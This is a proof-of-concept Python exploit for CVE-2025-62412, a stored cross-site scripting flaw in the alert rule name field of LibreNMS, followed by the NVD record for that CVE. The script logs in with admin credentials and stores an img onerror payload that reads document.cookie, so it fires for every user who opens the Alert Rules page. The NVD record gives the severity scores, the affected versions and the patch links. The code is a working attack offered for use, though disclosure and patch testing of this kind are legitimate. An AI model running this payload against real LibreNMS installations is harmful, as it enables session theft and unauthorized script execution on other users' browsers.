CVE-2025-62412

# CVE-2025-62412 - LibreNMS Alert Rule Name HTML Injection PoC # This PoC demonstrates the stored XSS vulnerability in the alert rule name field. # Requires: authenticated session with high privileges (admin or alert rule management rights) import requests # Configuration TARGET_URL = "https://librenms-target.example.com" USERNAME = "admin" PASSWORD = "password" # Create a session and authenticate session = requests.Session() # Step 1: Login to LibreNMS login_url = f"{TARGET_URL}/login" login_data = { "username": USERNAME, "password": PASSWORD } session.post(login_url, data=login_data) # Step 2: Inject malicious HTML/JavaScript payload into alert rule name # The payload will execute when any user views the Alert Rules page malicious_rule_name = '<img src=x onerror=alert(document.cookie)>' alert_rule_url = f"{TARGET_URL}/alerts/rule" alert_rule_data = { "name": malicious_rule_name, "severity": "critical", "condition": ">", "value": "1", "extra": "", "notes": "PoC for CVE-2025-62412" } response = session.post(alert_rule_url, data=alert_rule_data) if response.status_code == 200: print(f"[+] Malicious alert rule created successfully with name: {malicious_rule_name}") print(f"[+] When any user visits {TARGET_URL}/alerts/rule, the payload will execute.") else: print(f"[-] Failed to create alert rule. Status code: {response.status_code}")

{"cve": {"id": "CVE-2025-62412", "sourceIdentifier": "[email protected]", "published": "2025-10-16T18:15:39.920", "lastModified": "2025-10-23T12:31:34.033", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "LibreNMS is a community-based GPL-licensed network monitoring system. The alert rule name in the Alerts > Alert Rules page is not properly sanitized, and can be used to inject HTML code. This vulnerability is fixed in 25.10.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N", "baseScore": 3.8, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:librenms:librenms:*:*:*:*:*:*:*:*", "versionStartIncluding": "25.8.0", "versionEndExcluding": "25.10.0", "matchCriteriaId": "B0807962-971F-4B6B-BC01-20A7DE1B30AC"}]}]}], "references": [{"url": "https://github.com/librenms/librenms/commit/dccdf6769976a974d70f06a7ce8d5a846b29db6f", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/librenms/librenms/security/advisories/GHSA-6g2v-66ch-6xmh", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/librenms/librenms/security/advisories/GHSA-6g2v-66ch-6xmh", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}